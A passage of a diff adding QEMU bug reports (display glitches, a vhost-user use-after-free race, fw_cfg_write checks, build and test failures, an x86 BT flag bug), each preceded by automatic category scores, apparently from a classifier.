7853.643631] kvm: apic: phys broadcast and lowest prio +[ 7853.643703] kvm: apic: phys broadcast and lowest prio +[ 7853.643776] kvm: apic: phys broadcast and lowest prio +[ 7853.643848] kvm: apic: phys broadcast and lowest prio +[ 7853.643920] kvm: apic: phys broadcast and lowest prio +[ 7853.643992] kvm: apic: phys broadcast and lowest prio +[ 7853.644065] kvm: apic: phys broadcast and lowest prio +[ 7853.644137] kvm: apic: phys broadcast and lowest prio +[ 7853.644209] kvm: apic: phys broadcast and lowest prio +[ 7853.644289] kvm: apic: phys broadcast and lowest prio +``` + +--> diff --git a/results/classifier/108/graphic/761 b/results/classifier/108/graphic/761 new file mode 100644 index 000000000..308918040 --- /dev/null +++ b/results/classifier/108/graphic/761 @@ -0,0 +1,27 @@ +graphic: 0.976 +KVM: 0.909 +device: 0.881 +vnc: 0.854 +performance: 0.846 +permissions: 0.748 +PID: 0.650 +semantic: 0.644 +boot: 0.537 +socket: 0.500 +debug: 0.462 +files: 0.450 +network: 0.224 +other: 0.190 + +With -display gtk,gl=on, the position of mouse does not show correctly +Description of problem: +With `-display gtk,gl=on`, the cursor of the mouse does not show correctly. So, it's very hard to use mouse on guest OS desktop to, say, open an application or to close it. The displayed mouse cursor is about 300x300 away from the actual mouse position. +Steps to reproduce: +1. Build qemu 6.2.0-rc2 using the following `./configure` options: +``` +--prefix=$HOME/.bin --target-list=x86_64-softmmu --enable-kvm --enable-vnc --enable-gtk --enable-vte --enable-xkbcommon --enable-sdl --enable-spice --enable-spice-protocol --enable-virglrenderer --enable-opengl --enable-guest-agent --enable-avx2 --enable-hax --enable-system --enable-linux-user --enable-libssh --enable-linux-aio --enable-linux-io-uring --enable-modules --enable-fuse --enable-fuse-lseek +``` +2. Run the above QEMU command with `-display gtk,gl=on`. +3. Try to open an application by clicking its icon on desktop and to close it by clicking the "X" icon. +Additional information: + diff --git a/results/classifier/108/graphic/764 b/results/classifier/108/graphic/764 new file mode 100644 index 000000000..f5c799768 --- /dev/null +++ b/results/classifier/108/graphic/764 @@ -0,0 +1,60 @@ +graphic: 0.958 +debug: 0.954 +semantic: 0.944 +other: 0.936 +vnc: 0.933 +permissions: 0.920 +PID: 0.920 +boot: 0.919 +performance: 0.918 +device: 0.917 +socket: 0.908 +KVM: 0.903 +files: 0.873 +network: 0.869 + +qemu-system-x86 crash (reason: use after free in socket_reconnect_timeout when reconnecting vhost-user dev) +Description of problem: +(gdb) bt<br/> +#0 0x00007f205976b78b in raise () from /usr/lib64/libc.so.6<br/> +#1 0x00007f205976cab1 in abort () from /usr/lib64/libc.so.6<br/> +#2 0x00007f205976404a in ?? () from /usr/lib64/libc.so.6<br/> +#3 0x00007f20597640c2 in __assert_fail () from /usr/lib64/libc.so.6<br/> +#4 0x00007f20594ea556 in **qemu_mutex_lock_impl**(mutex=<optimized out>, file=<optimized out>, line=<optimized out>)<br/> +#5 0x00007f205957a4ef in **socket_reconnect_timeout** (opaque=<optimized out>)<br/> +#6 0x00007f205993b68d in ?? () from /usr/lib64/libglib-2.0.so.0<br/> +#7 0x00007f205993aba4 in g_main_context_dispatch () from /usr/lib64/libglib-2.0.so.0<br/> +#8 0x00007f20594e5d49 in glib_pollfds_poll () at /usr/src/debug/qemu-4.1.0-666.x86_64/util/main-loop.c:218<br/> +#9 0x00007f20594e5dc2 in os_host_main_loop_wait (timeout=<optimized out>)<br/> +#10 0x00007f20594e5f5d in main_loop_wait (nonblocking=nonblocking@entry=0)<br/> +... ...<br/> +#14 0x0000560919e13180 in main (argc=80, argv=0x7ffebc1d0598, envp=0x7ffebc1d0820)<br/> + +at the moment, chr had be free by hot unplug vhost-user dev<br/> + +I think the bug cause reason as following:<br/> +1. when vhost-user dev is connecting state, io-task-worker thread will try call tcp_chr_connect_client_async <br/> + again and again to reconnect.<br/> +2. if reconnect fail, io-task-worker thread will switch to main-thread to handle error, and main-thread will <br/> +call qemu_chr_socket_restart_timer again to reconnect again. <br/> + +3. But, if a hot unplug operation insert to main-thread before io-task-worker switch to main-thread,<br/> + the qemu_chr_socket_restart_timer->socket_reconnect_timeout process will use the released chardev and <br/> + trigger qemu crash + +in short, the primary cause of this bug is io-task-worker reconnect process and <br/> +main-thread hot unplug vhost-user-dev process in a race.<br/> +Steps to reproduce: +1. in qio_task_thread_worker func, add sleep in the following position: <br/> +  task->thread->completion = g_idle_source_new(); <br/> +  g_source_set_callback(task->thread->completion,<br/> + qio_task_thread_result, task, NULL);<br/> +  **sleep(8);**<br/> +  g_source_attach(task->thread->completion,<br/> + task->thread->context);<br/> +  g_source_unref(task->thread->completion); <br/> +2. kill spdk proces or dpdk process, qemu will reconnect to the disconnected vhost-user dev of spdk or dpdk <br/> +3. hot unplug the disconnected vhost-user dev when reconnect logic goto upper sleep position <br/> +4. qemu_chr_socket_restart_timer will use the chr after free, and trigger qemu crash +Additional information: + diff --git a/results/classifier/108/graphic/768 b/results/classifier/108/graphic/768 new file mode 100644 index 000000000..9724f05b4 --- /dev/null +++ b/results/classifier/108/graphic/768 @@ -0,0 +1,27 @@ +graphic: 0.976 +device: 0.944 +KVM: 0.928 +vnc: 0.915 +performance: 0.826 +permissions: 0.790 +PID: 0.743 +debug: 0.717 +semantic: 0.641 +boot: 0.592 +network: 0.566 +files: 0.475 +socket: 0.322 +other: 0.117 + +Mouse cursor disappears in RHEL guest when using "-device virtio-vga-gl -display gtk,gl=on" option +Description of problem: +Mouse cursor disappears in RHEL guest when using -device virtio-vga-gl -display gtk,gl=on +Steps to reproduce: +1. Build qemu using the following `./configure` options: +``` +--prefix=$HOME/.bin --target-list=x86_64-softmmu --enable-kvm --enable-vnc --enable-gtk --enable-vte --enable-xkbcommon --enable-sdl --enable-spice --enable-spice-protocol --enable-virglrenderer --enable-opengl --enable-guest-agent --enable-avx2 --enable-avx512f --enable-hax --enable-system --enable-linux-user --enable-libssh --enable-linux-aio --enable-linux-io-uring --enable-modules --enable-gio --enable-fuse --enable-fuse-lseek +``` +2. Install Red Hat Enterprise Linux 8.5 in qemu +3. Run qemu using the above command line. The mouse cursor disappears once it moves into the VM. +Additional information: + diff --git a/results/classifier/108/graphic/769 b/results/classifier/108/graphic/769 new file mode 100644 index 000000000..c3ab4135f --- /dev/null +++ b/results/classifier/108/graphic/769 @@ -0,0 +1,31 @@ +graphic: 0.920 +KVM: 0.855 +vnc: 0.842 +device: 0.807 +boot: 0.798 +semantic: 0.757 +files: 0.687 +permissions: 0.682 +performance: 0.613 +socket: 0.591 +PID: 0.591 +other: 0.478 +network: 0.471 +debug: 0.351 + +When the VM is about to enter GUI desktop or quit the system, the screen turns upside down. +Description of problem: +When the VM is about to enter GUI desktop, the remaining booting message on the screen turns upside down. I was wondering if it is a designed feature or a bug. I like it because when I see it I'm ensured I'll enter the VM's GUI desktop soon without any problem. + +An edit: This happens also at the quitting time when I type "sudo shutdown now" in the terminal. +Steps to reproduce: +1. Build qemu using the following `./configure` options: +``` +--prefix=$HOME/.bin --target-list=x86_64-softmmu --enable-kvm --enable-vnc --enable-gtk --enable-vte --enable-xkbcommon --enable-sdl --enable-spice --enable-spice-protocol --enable-virglrenderer --enable-opengl --enable-guest-agent --enable-avx2 --enable-avx512f --enable-hax --enable-system --enable-linux-user --enable-libssh --enable-linux-aio --enable-linux-io-uring --enable-modules --enable-gio --enable-fuse --enable-fuse-lseek +``` +2. Install Red Hat Enterprise Linux 8.5 in qemu +3. Run qemu using the above command line, or type "sudo shutdown now" in the terminal after VM starts. +Additional information: + + + diff --git a/results/classifier/108/graphic/786211 b/results/classifier/108/graphic/786211 new file mode 100644 index 000000000..b8d4b450f --- /dev/null +++ b/results/classifier/108/graphic/786211 @@ -0,0 +1,23 @@ +graphic: 0.951 +semantic: 0.932 +device: 0.778 +socket: 0.728 +network: 0.666 +vnc: 0.616 +boot: 0.475 +debug: 0.357 +other: 0.355 +PID: 0.336 +files: 0.241 +performance: 0.199 +KVM: 0.160 +permissions: 0.158 + +Missing checks for valid, writable, firmware in fw_cfg_write + +The `fw_cfg_write` function in the firmware emulation is missing checks to ensure that the firmware being written is (a) a valid index, and (b) writable. This can lead to a segmentation fault and potentially (in the case of writing to FW_CFG_INVALID), memory corruption, although the attacker has fairly limited control over whether and what corruption is possible. + + + +fw_cfg_write() support has been removed since QEMU 2.4, so I think we can treat this as fixed now: http://git.qemu.org/?p=qemu.git;a=commitdiff;h=023e3148567ac898c725813 + diff --git a/results/classifier/108/graphic/789 b/results/classifier/108/graphic/789 new file mode 100644 index 000000000..a0d3175f8 --- /dev/null +++ b/results/classifier/108/graphic/789 @@ -0,0 +1,27 @@ +graphic: 0.986 +device: 0.902 +semantic: 0.702 +debug: 0.558 +PID: 0.490 +files: 0.424 +performance: 0.379 +boot: 0.267 +permissions: 0.228 +vnc: 0.158 +network: 0.118 +other: 0.106 +socket: 0.042 +KVM: 0.002 + +QEMU arm (not arm64) crashes on apple silicon when run via docker desktop +Description of problem: +docker build of the simple Dockerfile here causes QEMU to crash in arm +emulation. It is perfectly reproducible. + +FROM balenalib/rpi-raspbian:bullseye-20210925 + +USER root + +RUN apt-get update -y && apt-get upgrade -y +Additional information: + diff --git a/results/classifier/108/graphic/809912 b/results/classifier/108/graphic/809912 new file mode 100644 index 000000000..e0ec42cb5 --- /dev/null +++ b/results/classifier/108/graphic/809912 @@ -0,0 +1,35 @@ +graphic: 0.957 +device: 0.905 +performance: 0.891 +KVM: 0.837 +semantic: 0.732 +other: 0.730 +PID: 0.665 +vnc: 0.621 +boot: 0.540 +debug: 0.538 +network: 0.529 +permissions: 0.410 +socket: 0.406 +files: 0.325 + +qemu-kvm -m bigger 4096 aborts with 'Bad ram offset' + +When I try to start a virtual machine (x86_64 guest on a x86_64 host that has 32GB memory, using kvm_amd module, both host and guest running linux-2.6.39 kernels) with "qemu-system-x86_64 -cpu host -smp 2 -m 4096 ...", shortly after the guest kernel starts, qemu aborts with a message "Bad ram offset 11811c000". + +With e.g. "-m 3500" (or lower), the virtual machine runs fine. + +I experience this both using qemu-kvm 0.14.1 and a recent version from git +commit 525e3df73e40290e95743d4c8f8b64d8d9cbe021 +Merge: d589310 75ef849 +Author: Avi Kivity <email address hidden> +Date: Mon Jul 4 13:36:06 2011 +0300 + +After updating from the QEMU that came with Ubuntu 11.04 to 070411-1ubuntu2 version, I am seeing the bad ram offset error, also. If I drop the memory for the guest (which is Windows 7 Pro 64-bit) from 4 GB to 3300MB, the error goes away. + +Host machine has an AMD Opteron 6128 with 32GB RAM and is running the 64 bit version of Ubuntu 11.04 updated to current versions as of November + +Can you still reproduce this issue with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/820 b/results/classifier/108/graphic/820 new file mode 100644 index 000000000..0164dbd3d --- /dev/null +++ b/results/classifier/108/graphic/820 @@ -0,0 +1,28 @@ +graphic: 0.940 +device: 0.919 +boot: 0.754 +semantic: 0.622 +files: 0.621 +performance: 0.515 +debug: 0.496 +vnc: 0.366 +permissions: 0.274 +socket: 0.212 +other: 0.178 +KVM: 0.173 +PID: 0.166 +network: 0.161 + +Hang During Initramfs +Description of problem: +[Hang During Initramfs](https://wiki.archlinux.org/title/QEMU#Hang_during_VM_initramfs) +Is this still not fixed? I hang at startup. Previously I tried WIN11 and it booted fine. +Steps to reproduce: +1. Download Windows10 ISO +2. qemu-img create -f raw Windows10 15G +3. qemu-system-x86_64 -cdrom Win10.iso -boot order=d -drive file=Windows10,format=raw -m 4G +Additional information: + + + +`-enable-kvm` works but i removed it to slow down a bit to see what is going on. diff --git a/results/classifier/108/graphic/848 b/results/classifier/108/graphic/848 new file mode 100644 index 000000000..4d47c0974 --- /dev/null +++ b/results/classifier/108/graphic/848 @@ -0,0 +1,63 @@ +graphic: 0.956 +device: 0.931 +other: 0.929 +network: 0.918 +files: 0.917 +socket: 0.917 +semantic: 0.905 +permissions: 0.884 +debug: 0.879 +boot: 0.869 +performance: 0.864 +vnc: 0.851 +PID: 0.837 +KVM: 0.781 + +`checkinstall` on Devuan Chimaera (equiv to Debian Bullseye) fails with `FileNotFoundError:` +Description of problem: +Configure and compile work without errors, but `checkinstall` fails with following error. + +``` +Installing with make install... + +========================= Installation results =========================== +changing dir to build for make "install"... +make[1]: Entering directory '/root/go/src/github.com/qemu/qemu/build' + GIT ui/keycodemapdb meson tests/fp/berkeley-testfloat-3 tests/fp/berkeley-softfloat-3 dtc capstone slirp +[1/20] Generating qemu-version.h with a meson_exe.py custom command +[1/2] Installing files. +Traceback (most recent call last): + File "/root/go/src/github.com/qemu/qemu/meson/mesonbuild/mesonmain.py", line 140, in run + return options.run_func(options) + File "/root/go/src/github.com/qemu/qemu/meson/mesonbuild/minstall.py", line 544, in run + installer.do_install(datafilename) + File "/root/go/src/github.com/qemu/qemu/meson/mesonbuild/minstall.py", line 362, in do_install + self.install_targets(d) + File "/root/go/src/github.com/qemu/qemu/meson/mesonbuild/minstall.py", line 472, in install_targets + file_copied = self.do_copyfile(fname, outname, makedirs=(d.dirmaker, outdir)) + File "/root/go/src/github.com/qemu/qemu/meson/mesonbuild/minstall.py", line 277, in do_copyfile + shutil.copystat(from_file, to_file) + File "/usr/lib/python3.9/shutil.py", line 375, in copystat + lookup("utime")(dst, ns=(st.st_atime_ns, st.st_mtime_ns), +FileNotFoundError: [Errno 2] No such file or directory +Installing subdir /root/go/src/github.com/qemu/qemu/qga/run to /usr/local/var/run +Installing trace/trace-events-all to /usr/local/share/qemu +FAILED: meson-install +/usr/bin/python3 /root/go/src/github.com/qemu/qemu/meson/meson.py install --no-rebuild +ninja: build stopped: subcommand failed. +make[1]: *** [Makefile:156: run-ninja] Error 1 +make[1]: Leaving directory '/root/go/src/github.com/qemu/qemu/build' +make: *** [GNUmakefile:11: install] Error 2 + +**** Installation failed. Aborting package creation. + +Cleaning up...OK + +Bye. + +``` +Additional information: +- All packages from [requirements](https://wiki.qemu.org/Hosts/Linux#Fedora_Linux_.2F_Debian_GNU_Linux_.2F_Ubuntu_Linux_.2F_Linux_Mint_distributions) installed. +- command `utime` is available from `atfs` package + +I believe error may be related to the `from_file`/`to_file`in: `meson/mesonbuild/minstall.py` line 277. diff --git a/results/classifier/108/graphic/855 b/results/classifier/108/graphic/855 new file mode 100644 index 000000000..aba90481d --- /dev/null +++ b/results/classifier/108/graphic/855 @@ -0,0 +1,32 @@ +graphic: 0.984 +boot: 0.908 +device: 0.858 +vnc: 0.856 +PID: 0.851 +files: 0.812 +performance: 0.797 +semantic: 0.733 +permissions: 0.703 +socket: 0.675 +debug: 0.631 +network: 0.603 +other: 0.544 +KVM: 0.304 + +Prebuilt seabios vgabios-stdvga binary causes onboot kernel panics for freebsd 10.0 +Description of problem: +FreeBSD 10.0 panics on boot since commit: `0221d73ce6a8e075adaa0a35a6ef853d2652b855`, see my attached screenshot of the panic. +I digged a bit into what specifically causes the issue, it seems to be caused by the precompiled `vgabios-stdvga.bin`. +I don't see this issue come up when I compile the binary myself via the `roms/` folder with different versions of gcc via gcc docker containers. +But once I compile the `vgabios-stdvga` from the `roms/` folder with a more modern Ubuntu version (21.10) using gcc 11.2, I also get panics on my `vgabios-stdvga`. +At first I thought it was caused by a different gcc version, but since the buster gcc docker container images create correctly functioning `vgabios-stdvga.bin` binaries, I think this is caused by a newer version of the linker coming from the `binutils` package. + +My local Ubuntu version has version 2.37 of the binutils package, the `gcc:11.2` container which compiles a correct `vgabios-stdvga.bin` has version `2.35.2` of the binutils package. + + +Steps to reproduce: +1. Compile any version after the mentioned commit using the precompiled seabios binaries +2. Try to boot freebsd 10.0-RELEASE +3. Kernel panic because of a page vault during the vesa module load. +Additional information: +https://mfsbsd.vx.sk/files/iso/10/amd64/mfsbsd-10.0-RELEASE-amd64.iso diff --git a/results/classifier/108/graphic/857 b/results/classifier/108/graphic/857 new file mode 100644 index 000000000..a31a8090c --- /dev/null +++ b/results/classifier/108/graphic/857 @@ -0,0 +1,27 @@ +graphic: 0.931 +device: 0.872 +files: 0.856 +semantic: 0.828 +debug: 0.803 +network: 0.735 +performance: 0.706 +other: 0.687 +socket: 0.669 +PID: 0.652 +permissions: 0.599 +vnc: 0.562 +boot: 0.350 +KVM: 0.084 + +qemu-x86_64 uses host libraries instead of emulated system libraries +Description of problem: +I'm using Buildroot to build a cross-compiled embedded Linux system. During the build process there is a little hack to create some header file using a cross-compiled application. For this hack they use qemu to run this application. Building this embedded system for aarch64 work fine, but for x86_64 I get the following messages: + +bytecode_builtins_list_generator: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.29' not found (required by bytecode_builtins_list_generator) +bytecode_builtins_list_generator: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by bytecode_builtins_list_generator) +bytecode_builtins_list_generator: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by bytecode_builtins_list_generator) +bytecode_builtins_list_generator: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by bytecode_builtins_list_generator) + +The path of the libraries in this error message is from my host system. The embedded system uses /lib64 or /usr/lib64. It seems to me that the linker search for the libraries at first on the host system and later uses the path from the command line. So you have a mixed up of host and embedded system libraries (as you can see in the attached strace log). +Additional information: +[qemu-1.log](/uploads/f53e98b6b15cce7cbf94d14dffa39f90/qemu-1.log) diff --git a/results/classifier/108/graphic/868 b/results/classifier/108/graphic/868 new file mode 100644 index 000000000..a18f5cc13 --- /dev/null +++ b/results/classifier/108/graphic/868 @@ -0,0 +1,30 @@ +graphic: 0.983 +device: 0.815 +semantic: 0.691 +other: 0.605 +performance: 0.546 +PID: 0.383 +boot: 0.368 +permissions: 0.342 +debug: 0.341 +vnc: 0.330 +files: 0.226 +socket: 0.213 +KVM: 0.184 +network: 0.182 + +Graphic session freezes and logs out +Description of problem: +Graphic session freezes and logs out resetting user session. I've tried with both X and Wayland. +The session does not last longer than 10-15 mins while working with: + VSCode + Firefox browser (no more than 5 open tabs - nothing heavy) + +If only using console, the problem does not seem occur, or maybe it takes longer, but haven't been able to reproduce it. +Steps to reproduce: +No steps. Just using common apps (vscode editor and ffox browser) for 10-15 mins causes the problem. Standard sites: gitlab, stacoverflow. +Additional information: +I used this configuration for +1 year without issues. I guess some updates to either Ubuntu or Lubuntu causes the problem. +I deleted the guest VM and started with a fresh new Lubuntu 20.04 LTS AS IS no exttra software and the problem persists. + +Happy to provide any info you may require. I've looked around in the logs but couldnn't find anything useful. diff --git a/results/classifier/108/graphic/878019 b/results/classifier/108/graphic/878019 new file mode 100644 index 000000000..918d56804 --- /dev/null +++ b/results/classifier/108/graphic/878019 @@ -0,0 +1,34 @@ +graphic: 0.937 +performance: 0.600 +device: 0.594 +network: 0.399 +semantic: 0.395 +permissions: 0.317 +boot: 0.310 +PID: 0.290 +socket: 0.274 +debug: 0.255 +vnc: 0.247 +other: 0.205 +files: 0.156 +KVM: 0.119 + +0.15.1 black screen and 100% cpu on start + +Trying the freshly compiled 0.15.1 (command line: "qemu"), the window stays black, it uses 100% cpu, and can't be killed with ctrl-c, has to be killed with killall -9. + +Strace shows it's waiting on a futex forever? + +Build config: +./configure --prefix=/usr/local --interp-prefix=/usr/local/share/qemu \ +--enable-mixemu --disable-brlapi --enable-io-thread --audio-drv-list="oss alsa sdl" \ +--disable-opengl + + + +Triaging old bug tickets... I assume this problem has been fixed in newer versions of QEMU? Or can you still reproduce this behavior with the latest version? + +Feel free to close this. I think I moved to qemu-kvm, which worked. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/883 b/results/classifier/108/graphic/883 new file mode 100644 index 000000000..c55d58678 --- /dev/null +++ b/results/classifier/108/graphic/883 @@ -0,0 +1,42 @@ +graphic: 0.988 +boot: 0.972 +debug: 0.964 +device: 0.933 +files: 0.872 +performance: 0.866 +semantic: 0.825 +network: 0.820 +PID: 0.777 +vnc: 0.725 +other: 0.719 +permissions: 0.700 +socket: 0.694 +KVM: 0.388 + +DRBG: could not allocate CTR cipher TFM handle: ctr(aes) +Description of problem: + +Steps to reproduce: +1. Install Debian in Qemu using the command: +``` +REM example to create disk +REM qemu-img create -f qcow2 debian-qcow2.img 32G + +qemu-system-x86_64.exe -hda debian-qcow2.img -cdrom debian-11.2.0-amd64-netinst.iso -boot d -m 8G -accel hax +``` + +2. Fight with installer and partitions to finally get this: + + +3. System boots and shows a bunch of FAILED messages with crypto error: + + + + +I am new at using Qemu so may need pointers to provide more information. + +The system seems to be working to some degree. + +Color me impressed!!! +Additional information: +Related: #880 diff --git a/results/classifier/108/graphic/888 b/results/classifier/108/graphic/888 new file mode 100644 index 000000000..c4a738936 --- /dev/null +++ b/results/classifier/108/graphic/888 @@ -0,0 +1,22 @@ +graphic: 0.938 +device: 0.912 +semantic: 0.668 +performance: 0.649 +KVM: 0.640 +vnc: 0.637 +network: 0.577 +files: 0.545 +socket: 0.527 +permissions: 0.507 +boot: 0.496 +other: 0.430 +debug: 0.415 +PID: 0.326 + +TCG <--> KVM behavior difference (TCG bug) +Description of problem: +This app couldn't start in TCG mode in QEMU 6.2, but with KVM everything is good. Until version 6.0 it also works with TCG. +As I checked - problem git commit is 5f9529006ea37560c97b05661a84472431d25b91. +Steps to reproduce: +1. Install Allplayer +2. Try to run it in TCG and KVM mode with QEMU 6.2 diff --git a/results/classifier/108/graphic/892 b/results/classifier/108/graphic/892 new file mode 100644 index 000000000..35795d82b --- /dev/null +++ b/results/classifier/108/graphic/892 @@ -0,0 +1,20 @@ +graphic: 0.930 +files: 0.924 +device: 0.828 +other: 0.781 +PID: 0.686 +permissions: 0.621 +network: 0.590 +semantic: 0.489 +socket: 0.488 +vnc: 0.427 +performance: 0.321 +boot: 0.290 +debug: 0.121 +KVM: 0.024 + +Ensure qemu-storage-daemon builds, works and is included in win10 setup +Additional information: +- Job run on 20220315 "msys2-64bit build target" seems to have created binary: https://gitlab.com/qemu-project/qemu/-/jobs/2201739711 + - ```2456 [1324/1586] Linking target storage-daemon/qemu-storage-daemon.exe``` + - I hope it will be included in final distributed setup files diff --git a/results/classifier/108/graphic/893068 b/results/classifier/108/graphic/893068 new file mode 100644 index 000000000..396a80ea6 --- /dev/null +++ b/results/classifier/108/graphic/893068 @@ -0,0 +1,31 @@ +graphic: 0.922 +vnc: 0.719 +device: 0.691 +socket: 0.534 +semantic: 0.511 +network: 0.462 +permissions: 0.432 +PID: 0.391 +performance: 0.347 +other: 0.287 +files: 0.285 +debug: 0.228 +KVM: 0.209 +boot: 0.185 + +Spanish keys { and [ did not work + +The keys { and [ did not work inside the virtualized enviorment (widnows 7). The problems happens ussing aqemu as a front end as well as invoking qemu-kvm from command line: + +qemu-kvm -m 8096 eclipse.img -smp cores=4,threads=2 -hdb ander.img -k es + +We have also notices this warning in the console: + +Warning: no scancode found for keysym 314 + +The host system is gentoo stable with some exceptions (mainly qemu-kvm-0.15.1-r1, gcc-4.6.2 and kernel-3.2_rc2) + +Triaging old bug tickets ... can you still reproduce this problem with the latest version of QEMU (currently version 2.8)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/894 b/results/classifier/108/graphic/894 new file mode 100644 index 000000000..19fdf4b55 --- /dev/null +++ b/results/classifier/108/graphic/894 @@ -0,0 +1,46 @@ +graphic: 0.997 +socket: 0.976 +device: 0.976 +performance: 0.964 +vnc: 0.955 +debug: 0.932 +files: 0.928 +PID: 0.908 +permissions: 0.897 +network: 0.887 +other: 0.729 +semantic: 0.711 +boot: 0.609 +KVM: 0.393 + +target/riscv64 qemu-iotests 040 failed +Description of problem: +I cross-compiled a riscv64 QEMU flavor based on the most updated code, then make check. Some qemu-iotests failed, 040 041 127 256 267. I mainly focused on test 040 and tried to find out what happened. +Steps to reproduce: +1. change directory to QEMU source tree root +2. ./configure --prefix=~/temp --target-list=riscv64-softmmu +3. make +4. cd build/tests/qemu-iotests/ +5. ./check -qcow2 040 + +Then a lot of error messages(please see attachment). The following log might hint the root cause I thought: +``` ++ Command: /home/qemu/qemu/build/tests/qemu-iotests/../../qemu-system-riscv64 -display none -vga none -chardev socket,id=mon,path=/tmp/tmpwhnx3jq0/qemu-28363-monitor.sock -mon chardev=mon,mode=control -qtest unix:path=/tmp/tmpwhnx3jq0/qemu-28363-qtest.sock -accel qtest -nodefaults -display none -accel qtest -drive if=none,id=drive0,file=/home/qemu/qemu/build/tests/qemu-iotests/scratch/test.img,format=qcow2,cache=writeback,aio=threads,node-name=top,backing.node-name=mid,backing.backing.node-name=base -device virtio-scsi -device scsi-hd,id=scsi0,drive=drive0 ++ Output: [I 1646574338.669217] OPENED ++qemu-system-riscv64: -device virtio-scsi: No 'PCI' bus found for device 'virtio-scsi-pci' +``` +The command had no '-machine' argument. For riscv64 target, 'spike' will be the default machine. Maybe 'spike' have no PCI bus? Then I tried to change it to 'virt' machine but failed, nothing new happen. +``` +QEMU_DEFAULT_MACHINE=virt ./check -qcow2 040 +``` +``` +QEMU_OPTIONS="-machine virt" ./check -qcow2 040 +``` +Last, I modified [testenv.py](https://gitlab.com/qemu-project/qemu/-/blob/master/tests/qemu-iotests/testenv.py#L239) and added one line in machine-map, all tests passed! +``` +('riscv64', 'virt'), +``` + +Is there any way to easy the issue or do I miss something? Thank you! +Additional information: +[zlog.riscv.xz](/uploads/cbbad7c5c256d2b49d220aa6425e2b17/zlog.riscv.xz) diff --git a/results/classifier/108/graphic/904308 b/results/classifier/108/graphic/904308 new file mode 100644 index 000000000..2fdf72d5f --- /dev/null +++ b/results/classifier/108/graphic/904308 @@ -0,0 +1,203 @@ +graphic: 0.975 +other: 0.967 +permissions: 0.966 +debug: 0.964 +device: 0.954 +PID: 0.954 +performance: 0.952 +semantic: 0.949 +files: 0.943 +boot: 0.934 +socket: 0.929 +network: 0.906 +vnc: 0.879 +KVM: 0.820 + +x86: BT/BTS/BTR/BTC: ZF flag is unaffected + +Hello! + +Bug was found in qemu.git. +See target-i386/translate.c: + + case 0x1ba: /* bt/bts/btr/btc Gv, im */ + ot = dflag + OT_WORD; + modrm = ldub_code(s->pc++); + op = (modrm >> 3) & 7; + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + if (mod != 3) { + s->rip_offset = 1; + gen_lea_modrm(s, modrm, ®_addr, &offset_addr); + gen_op_ld_T0_A0(ot + s->mem_index); + } else { + gen_op_mov_TN_reg(ot, 0, rm); + } + /* load shift */ + val = ldub_code(s->pc++); + gen_op_movl_T1_im(val); + if (op < 4) + goto illegal_op; + op -= 4; + goto bt_op; + case 0x1a3: /* bt Gv, Ev */ + op = 0; + goto do_btx; + case 0x1ab: /* bts */ + op = 1; + goto do_btx; + case 0x1b3: /* btr */ + op = 2; + goto do_btx; + case 0x1bb: /* btc */ + op = 3; + do_btx: + ot = dflag + OT_WORD; + modrm = ldub_code(s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + gen_op_mov_TN_reg(OT_LONG, 1, reg); + if (mod != 3) { + gen_lea_modrm(s, modrm, ®_addr, &offset_addr); + /* specific case: we need to add a displacement */ + gen_exts(ot, cpu_T[1]); + tcg_gen_sari_tl(cpu_tmp0, cpu_T[1], 3 + ot); + tcg_gen_shli_tl(cpu_tmp0, cpu_tmp0, ot); + tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_tmp0); + gen_op_ld_T0_A0(ot + s->mem_index); + } else { + gen_op_mov_TN_reg(ot, 0, rm); + } + bt_op: + tcg_gen_andi_tl(cpu_T[1], cpu_T[1], (1 << (3 + ot)) - 1); + switch(op) { + case 0: + tcg_gen_shr_tl(cpu_cc_src, cpu_T[0], cpu_T[1]); + tcg_gen_movi_tl(cpu_cc_dst, 0); <<<<<<<<<<<<<<<<<<<<<< always set zf + break; + case 1: + tcg_gen_shr_tl(cpu_tmp4, cpu_T[0], cpu_T[1]); + tcg_gen_movi_tl(cpu_tmp0, 1); + tcg_gen_shl_tl(cpu_tmp0, cpu_tmp0, cpu_T[1]); + tcg_gen_or_tl(cpu_T[0], cpu_T[0], cpu_tmp0); + break; + case 2: + tcg_gen_shr_tl(cpu_tmp4, cpu_T[0], cpu_T[1]); + tcg_gen_movi_tl(cpu_tmp0, 1); + tcg_gen_shl_tl(cpu_tmp0, cpu_tmp0, cpu_T[1]); + tcg_gen_not_tl(cpu_tmp0, cpu_tmp0); + tcg_gen_and_tl(cpu_T[0], cpu_T[0], cpu_tmp0); + break; + default: + case 3: + tcg_gen_shr_tl(cpu_tmp4, cpu_T[0], cpu_T[1]); + tcg_gen_movi_tl(cpu_tmp0, 1); + tcg_gen_shl_tl(cpu_tmp0, cpu_tmp0, cpu_T[1]); + tcg_gen_xor_tl(cpu_T[0], cpu_T[0], cpu_tmp0); + break; + } + s->cc_op = CC_OP_SARB + ot; + if (op != 0) { + if (mod != 3) + gen_op_st_T0_A0(ot + s->mem_index); + else + gen_op_mov_reg_T0(ot, rm); + tcg_gen_mov_tl(cpu_cc_src, cpu_tmp4); + tcg_gen_movi_tl(cpu_cc_dst, 0); <<<<<<<<<<<<<<<<<<<<<< always set zf + } + break; + +always set zf... + +There is fixed patch. + + + +It would be helpful if you could submit patches in line with the guidance documented on the wiki: +http://wiki.qemu.org/Contribute/SubmitAPatch + +In particular, patches should be sent to the mailing list in the right format, and we cannot apply any patch without a signed-off-by line. + +Thanks. + + +On 12/14/2011 06:08 PM, malc wrote: +> On Wed, 14 Dec 2011, Daniil Troshkov wrote: +> +> > Public bug reported: +> > +> > Hello! +> > +> > Bug was found in qemu.git. +> > See target-i386/translate.c: +> > +> +> [..snip..] +> +> Intel's documentation doesn't cover this, AMD's says that ZF is undefined, so, +> question is: why do you think QEMU is wrong here? + +The Intel documentation 